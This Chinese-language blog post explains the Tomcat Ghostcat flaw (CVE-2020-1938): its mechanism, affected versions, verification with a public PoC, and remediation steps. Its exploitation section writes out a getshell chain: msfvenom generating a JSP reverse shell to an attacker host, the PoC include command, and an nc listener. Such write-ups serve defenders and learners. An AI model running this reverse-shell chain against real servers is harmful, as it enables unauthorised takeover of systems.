Tomcat漏洞2020深度解析:CNVD-2020-10487/CVE-2020-1938(幽灵猫)原理、复现与修复全指南

一个影响深远的“幽灵猫”漏洞

在2020年,一个名为 “幽灵猫”(Ghostcat) 的安全漏洞震惊了全球的Java Web应用生态。该漏洞被正式命名为 CVE-2020-1938,国内编号为 CNVD-2020-10487。它影响了全球数以万计使用Apache Tomcat作为Web服务器的系统,允许攻击者在无需认证的情况下,读取服务器上的敏感文件,甚至在特定条件下实现远程代码执行(RCE),获取服务器控制权。

Tomcat漏洞2020深度解析:CNVD-2020-10487/CVE-2020-1938(幽灵猫)原理、复现与修复全指南

作为一位专业的数码科技知识博主,本文将带你深入剖析这一经典漏洞的原理、影响范围、复现过程、利用方式及完整修复方案,帮助开发者和运维人员全面理解并防范此类安全风险。


漏洞简介:什么是“幽灵猫”(Ghostcat)?

CVE-2020-1938 是一个由Apache Tomcat服务器AJP(Apache JServ Protocol)协议处理缺陷引发的文件包含与任意文件读取漏洞

漏洞核心原理

Tomcat默认开启AJP协议端口(通常是8009),用于与前端Web服务器(如Apache HTTP Server)进行高效通信。该协议在处理特定请求属性时存在缺陷,攻击者可以构造恶意的AJP请求包,操控以下三个关键参数:

  • javax.servlet.include.request_uri

  • javax.servlet.include.path_info

  • javax.servlet.include.servlet_path

通过精心构造这些参数,攻击者可以绕过正常请求路径校验,触发Tomcat的DefaultServlet,从而实现对webapps目录下任意文件的读取或包含

⚠️ 注意:由于AJP协议限制,攻击者无法使用../进行路径遍历,因此可读取的文件范围被限制在webapps目录内,无法直接读取系统根目录文件(如/etc/passwd)。但webapps/WEB-INF/web.xml等配置文件的泄露,足以暴露数据库密码、应用结构等核心敏感信息。


影响范围:哪些版本的Tomcat受影响?

该漏洞影响范围广泛,涵盖Tomcat 6至9的多个旧版本。以下是官方确认的受影响版本:

Tomcat 版本安全版本(需升级至此或更高)
Apache Tomcat 9.x< 9.0.31
Apache Tomcat 8.x< 8.5.51(部分资料为8.5.53)
Apache Tomcat 7.x< 7.0.100
Apache Tomcat 6.x所有版本

💡 建议:无论当前是否在受影响版本内,都应尽快升级至最新稳定版,并关闭不必要的AJP服务。


漏洞复现:如何验证系统是否受影响?

环境准备

验证步骤

  1. 下载并进入POC目录

    git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
    cd CNVD-2020-10487-Tomcat-Ajp-lfi
  2. 执行文件读取测试

    python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.100 -p 8009 -f /WEB-INF/web.xml

    192.168.1.100替换为你的目标IP。

  3. 结果判断

    • 若成功返回web.xml文件内容,则系统存在漏洞

    • 若返回连接失败或无内容,则可能已修复或AJP服务未开启。


漏洞利用:从文件读取到GetShell

虽然该漏洞本身是文件读取,但结合文件上传功能,可升级为远程代码执行(RCE)。

利用前提

  • 目标系统存在文件上传功能,且上传的文件(如JSP木马)能被保存在webapps目录下。

  • 或者,攻击者已通过其他方式将WebShell上传至服务器。

GetShell 步骤简述

  1. 生成JSP反弹Shell

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=4444 -f raw > shell.jsp
  2. 将shell.jsp上传至目标服务器的webapps目录(可通过其他漏洞或权限)。

  3. 使用POC脚本包含并执行该JSP文件

    python2 CVE-2020-1938.py -p 8009 -f /path/to/shell.jsp 192.168.1.100 -c 1

    -c 1 表示执行文件包含操作。

  4. 在攻击机监听端口,接收反弹的Shell

    nc -lvnp 4444

若成功,你将获得目标服务器的命令执行权限。


漏洞修复:三种有效防护方案

方案一:升级Tomcat版本(推荐)

最彻底的解决方案是升级到不受影响的版本:

  • Tomcat 9 → 升级至 9.0.31 或更高

  • Tomcat 8 → 升级至 8.5.51 或更高

  • Tomcat 7 → 升级至 7.0.100 或更高

方案二:关闭AJP服务(若无需使用)

如果系统不需要AJP协议(如未与Apache HTTP Server集成),直接关闭AJP连接器

  1. 编辑 conf/server.xml 文件。

  2. 找到AJP连接器配置行并注释或删除:

    <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
  3. 重启Tomcat服务。

方案三:为AJP配置认证密钥(若需保留AJP)

如果必须使用AJP协议,可通过设置secretrequiredSecret参数增加认证。

  • Tomcat 7/9

    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"
               secret="YourStrongSecretHere123!" />
  • Tomcat 8

    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443"
               requiredSecret="YourStrongSecretHere123!" />

🔐 安全提示secret值必须足够复杂,避免被暴力破解。


总结与建议

CVE-2020-1938(幽灵猫)是一个典型的“低门槛、高危害”漏洞。它提醒我们:

  1. 及时更新:保持中间件(如Tomcat、Nginx、Apache)的版本更新是安全防护的第一道防线。

  2. 最小化暴露:关闭不必要的服务端口(如8009),遵循“最小权限原则”。

  3. 纵深防御:即使存在文件上传功能,也应严格校验文件类型、后缀和内容,防止WebShell上传。

  4. 安全审计:定期使用专业工具对系统进行漏洞扫描。

作为开发者和运维人员,我们应时刻保持安全意识,防患于未然。希望本文能帮助你深入理解Tomcat 2020漏洞,并有效加固你的系统安全。


📌 关注我,获取更多网络安全、系统架构与数码科技干货!

发表评论

评论列表

还没有评论,快来说点什么吧~